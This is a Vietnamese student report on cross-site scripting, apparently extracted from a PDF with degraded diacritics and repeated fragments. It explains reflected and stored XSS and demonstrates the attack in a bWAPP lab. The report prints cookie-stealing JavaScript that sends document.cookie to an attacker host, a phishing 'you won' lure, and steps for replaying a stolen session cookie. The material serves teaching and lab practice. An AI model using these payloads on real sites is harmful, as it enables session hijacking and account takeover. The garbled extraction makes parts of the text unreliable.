Mục lụcI. Tấn công XSS là gì ?21. Khái niệm22. Đối tượng bị tấn công33. Mục đích tấn công3II. Cách thức hoạt động của dạng tấn công XSS4III. Các dạng tấn công XSS61.Reflected XSS62.Stored XSS83.DOM Based XSS13IV. Các cách thức phòng chống XSS131. Đối với những người thiết kế và phát triển ứng dụng Web133.Đối với người dùng14V. Triển khai thực nghiệm151. Các bước thực hiện152. Chuẩn bị môi trường163. DEMO18VI.Tài liệu tham khảo26
Đề 9: Tìm hiểu kỹ thuật tiến cơng XSS: phân tích cách thức thực hiện, tác hại cách thức phịng chống dạng tiến cơng (triển khai thực nghiệm) Mục lục I Tấn cơng XSS ? Khái niệm Cross - Site Scripting hay viết tắt XSS kỹ thuật công cách chèn vào website động (ASP, PHP, CGI,…) thẻ HTML hay đoạn mã script nguy hiểm gây hại cho người sử dụng khác Trong đoạn mà nguy hiểm thường viết Client Site Script như: JavaScript, Jscript, DHTML thẻ HTML Tuy nhiên, phổ biến Javascript, chủ yếu Javascript tảng cho hầu hết trải nghiệm duyệt web người dùng internet XSS lỗ hổng ứng dụng web phổ biến xảy ứng dụng web sử dụng đầu vào từ người dùng không xác thực khơng mã hóa đầu mà tạo Bằng cách tận dụng XSS, kẻ công khơng nhắm trực tiếp vào nạn nhân Thay vào đó, kẻ công khai thác lỗ hổng trang web ứng dụng web mà nạn nhân truy cập Đối tượng bị cơng Có thể cá nhân, doanh nghiệp, tổ chức phủ phi phủ, quan nhà nước, chí đối tượng quốc gia Tuy nhiên, đối tượng phổ biến công cá nhân, doanh nghiệp Đơn giản mục tiêu kẻ cơng lợi nhuận kinh tế Mục đích cơng Mục đích cơng ăn cắp liệu nhận dạng người dùng như: cookies, session tokens thông tin khác Trong hầu hết trường hợp, công sử dụng để ăn cắp cookie người khác Như biết, cookie giúp đăng nhập tự động Do với cookie bị đánh cắp, chúng đăng nhập thông tin nhận dạng khác Và lý do, công coi công nguy hiểm XSS khai thác thường sử dụng để đạt kết độc hại sau đây: ● Truy cập thông tin nhạy cảm bị hạn chế ● Ăn cắp tiền (giao dịch ngân hàng, mua hàng online…) ● Theo dõi thói quen lướt web người dùng ● Thay đổi tính trình duyệt ● Bôi nhọ danh tiếng cá nhân hay công ty ● Hủy hoại ứng dụng web, ● Tấn công từ chối dịch vụ… Bên cạnh mục đích phổ biến trục lợi phi pháp, cịn tồn số mục đích khác phức tạp nguy hiểm hơn: cạnh tranh không lành mạnh doanh nghiệp, công an ninh kinh tế quốc gia, công đánh sập tổ chức tơn giáo, v.v Ngồi ra, số hacker cơng mạng để mua vui, thử sức, tò mò muốn khám phá vấn đề an ninh mạng II Cách thức hoạt động dạng công XSS Tấn công Cross Site Scripting nghĩa gửi chèn lệnh script độc hại, mã độc thường viết với ngơn ngữ lập trình phía client Javascript, HTML, VBScript, Flash… Tuy nhiên, cách công thông thường sử dụng Javascript HTML Cách công thực theo nhiều cách khác nhau, phụ thuộc vào loại công XSS, mã độc phản chiếu trình duyệt nạn nhân lưu trữ sở liệu chạy người dùng gọi chức thích hợp Ngun nhân loại cơng xác thực đầu vào liệu người dùng không phù hợp, liệu độc hại từ đầu vào xâm nhập vào liệu đầu Mã độc nhập script chèn vào mã nguồn website Khi trình duyệt khơng thể biết mã thực thi có phải độc hại hay khơng Do mã độc hại thực thi trình duyệt nạn nhận hình thức giả hiển thị cho người sử dụng Có số hình thức cơng XSS xảy Bên hình thức cơng Cross Site Scripting: ● Cross Site Scripting xảy tập lệnh độc hại thực phía client ● Trang web form giả mạo hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập nhấp vào liên kết độc hại) ● Trên trang web có quảng cáo hiển thị ● Email độc hại gửi đến nạn nhân Tấn công xảy tin tặc tìm kiếm lỗ hổng website gửi làm đầu vào độc hại Tập lệnh độc hại tiêm vào mã lệnh sau gửi dạng đầu cho người dùng cuối III Các dạng cơng XSS Reflected XSS Hay cịn gọi Non-persistent XSS loại XSS phổ biến Loại xuất liệu cung cấp từ web client Hacker muốn cơng điều phải tìm lỗ hỗng bảo mật website cách gắn đoạn mã test vào web client để web client gửi đến web server chờ phản hồi web server để tìm lỗ hổng bảo mật Hacker công dựa vào thiếu ý việc lọc liệu vào từ URL webiste Kẻ công sử dụng email phishing phương pháp social engineering khác để dụ nạn nhân đưa yêu cầu đến máy chủ có chứa payload XSS Nạn nhân sau thực thi tập lệnh độc hại bên trình duyệt Vì Reflected XSS khơng phải công liên tục, nên kẻ công phải cung cấp payload cho nạn nhân Có nhiều hướng để khai thác thông qua lỗi Reflected XSS, cách biết đến nhiều chiếm phiên làm việc (session) người dùng, từ truy cập liệu chiếm quyền họ website Chi tiết mô tả qua bước sau: Người dùng đăng nhập web giả sử gán session: Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 Bằng cách đó, hacker gửi cho người dùng URL: http://example.com/name=var+i=new+Image;+i.src=”http://hackersite.net/”%2Bdocument.cookie; Giả sử example.com website nạn nhân truy cập, hacker-site.net trang hacker tạo Nạn nhân truy cập đến URL Server phản hồi cho nạn nhân, kèm với liệu có request (đoạn javascript hacker) Trình duyệt nạn nhân nhận phản hồi thực thi đoạn javascript Đoạn javascript mà hacker tạo thực tế sau: var i=new Image; i.src=”http://hacker-site.net/”+document.cookie; Dòng lệnh chất thực request đến site hacker với tham số cookie người dùng: GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1 Host: hacker-site.net Từ phía site mình, hacker bắt nội dung request coi session người dùng bị chiếm Đến lúc này, hacker giả mạo với tư cách nạn nhân thực mọi quyền website mà nạn nhân có Stored XSS Hay gọi persistent XSS Loại XSS xảy liệu hacker cung cấp lưu trữ máy chủ thông qua số chức website từ sau liệu hiển nhiên hiển thị cách bình thường trình duyệt người dùng mà không cần tới HTML riêng Khi người dùng click vào phần bị gắn mã độc bị dính XSS Khác với Reflected công trực tiếp vào số nạn nhân mà hacker nhắm đến, Stored XSS hướng đến nhiều nạn nhân Lỗi xảy ứng dụng web không kiểm tra kỹ liệu đầu vào trước lưu vào sở liệu (ở dùng khái niệm để database, file hay khu vực khác nhằm lưu trữ liệu ứng dụng web) Ví dụ form góp ý, comment … trang web Với kỹ thuật Stored XSS, hacker không khai thác trực tiếp mà phải thực tối thiểu qua bước Đầu tiên hacker thông qua điểm đầu vào (form, input, textarea…) không kiểm tra kỹ để chèn vào CSDL đoạn mã nguy hiểm Tiếp theo, người dùng truy cập vào ứng dụng web thực thao tác liên quan đến liệu lưu này, đoạn mã hacker thực thi trình duyệt người dùng V Triển khai thực nghiệm Các bước thực *Reflected XSS Bước 1: Hacker biết người dùng sử dụng ứng dụng Web có lỗ hổng XSS Bước 2: Người dùng nhận liên kết thơng qua email hay trang Web (như guestbook, banner dễ dàng thêm liên kết hacker tạo ) Thơng thường hacker khiến người dùng ý câu kích thích tò mò người dùng “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn chờ bạn ”,”Chúc mừng bạn giành số tiền lớn” Bước 3: Chuyển nội dung thông tin (cookie, tên, mật ) máy chủ hacker Bước 4: Hacker tạo chương trình trang Web để ghi nhận thông tin đánh cắp vào tập tin Bước 5: Sau nhận thông tin cần thiết, hacker sử dụng để thâm nhập vào tài khoản người dùng Chuẩn bị môi trường ● Sử dụng bWAPP để làm môi trường thực hành web security testing ● bWAPP buggy web application, miễn phí hồn tồn phù hợp để thực khai thác lỗ hổng Web Cài đặt Xampp ● Download: ● https://www.apachefriends.org/download.html ● Setup bình thường Mình đặt xampp thẳng vào ổ C:\xampp Cài đặt bWAPP ● Download bWAPP_latest.zip: ● https://sourceforge.net/projects/bwapp/files/bWAPP/ ● Giải nén copy toàn thư mục bwapp vào folder htdocs xampp 3.Run bWAPP ● Run Xampp Start Apache + MySQL ● Gõ vào URL chrome: http://localhost/bwapp/install.php ● Click vào “Here” để install ● Vào: http://localhost/bwapp/login.php với account login: bee / bug ● Nếu bạn install mà bị báo lỗi “Access denied for user ‘root’@’localhost’ ….” bạn cần xem lại file settings.php folder C:\xampp\htdocs\bWAPP\admin DEMO *Lấy Cookie từ site có dính lỗi XSS ● Khai thác lỗ hổng XSS bWAPP ● bWAPP ứng dụng WEB, môi trường để thực hành khai thác lỗ hổng web Ở chọn khai thác lỗ hổng XSS-Reflected (GET) level low Bước 1: Tạo file get.php để đánh cắp cookie người dùng ● File có nhiệm vụ đánh cắp cookie người dung ghi vào file cookie.txt ● File cookie.txt file rỗng dùng để lưu trữ tồn thơng tin người dùng gửi cho hacker thông qua mệnh lệnh thực thi từ get.php Bước 2: Upload file lên host ● Giả sử up file lên http://localhost/PTH Bước 3: Tiến hành khai thác lỗi XSS ● Tạo đoạn mã javascript để đánh cắp cookie người dùng có dạng sau: window.open(“http://localhost/PTH/get.php? cookie=”+document.cookie) ● Giả sử site sau site dính lỗi XSS: ● Chèn đoạn mã vào site cách insert đầu vào sau: http://localhost/bwapp/xss_get.php?firstname= window.open(‘http://localhost/PTH/get.php?cook ie=’+ document.cookie)&lastname=Pham&form=submit ● Chèn đoạn mã site dính lỗi XSS vào site html gửi cho người dùng để đánh cắp cookie phiên đăng nhập victim: CROSS SITE SCRIPTING CONGRATULATIONS!!! YOU WON!!!Click this link to see your prize
● Khi gửi file html cho người dùng sau: ● Chỉ cần người dùng click vào link cookie người dùng lưu file cookie.txt host hacker ● Ví dụ trường hợp dãy kí tự sau PHPSESSID hnpuup5rg9de04mhtvms2fc6es Sử dụng cookie để đăng nhập ● Hacker mở trình duyệt lên sử dụng cookie để đăng nhập thơng qua tiện ích trình duyệt chrome: EditThisCookie Add đoạn cookie lấy vào sau F5 lại trang ● Vậy ta đăng nhập thành công mà không cần biết user password người dùng VI.Tài liệu tham khảo https://owasp.org/www-community/attacks/xss/ https://viblo.asia/p/ky-thuat-tan-cong-xss-va-cach-ngan-chan-YWOZr0Py5Q0#_1reflected-xss-3 https://www.academia.edu/40186776/Khai_th%C3%A1c_l%E1%BB%97_h %E1%BB%95ng_CSRF_v%C3%A0_XSS_tr%C3%AAn_BWAPP_by_Kimhuent https://viblo.asia/p/lo-hong-xss-va-demo-khai-thac-lo-hong-xss-4dbZNn0kZYM https://giangtester.com/cai-dat-bwapp-cho-thuc-hanh-security-testing/ ... nạn nhân Tấn công xảy tin tặc tìm kiếm lỗ hổng website gửi làm đầu vào độc hại Tập lệnh độc hại tiêm vào mã lệnh sau gửi dạng đầu cho người dùng cuối III Các dạng công XSS Reflected XSS Hay gọi... công an ninh kinh tế quốc gia, công đánh sập tổ chức tơn giáo, v.v Ngồi ra, số hacker cơng mạng để mua vui, thử sức, tị mò muốn khám phá vấn đề an ninh mạng II Cách thức hoạt động dạng công XSS. .. hợp, công sử dụng để ăn cắp cookie người khác Như biết, cookie giúp đăng nhập tự động Do với cookie bị đánh cắp, chúng đăng nhập thông tin nhận dạng khác Và lý do, công coi công nguy hiểm XSS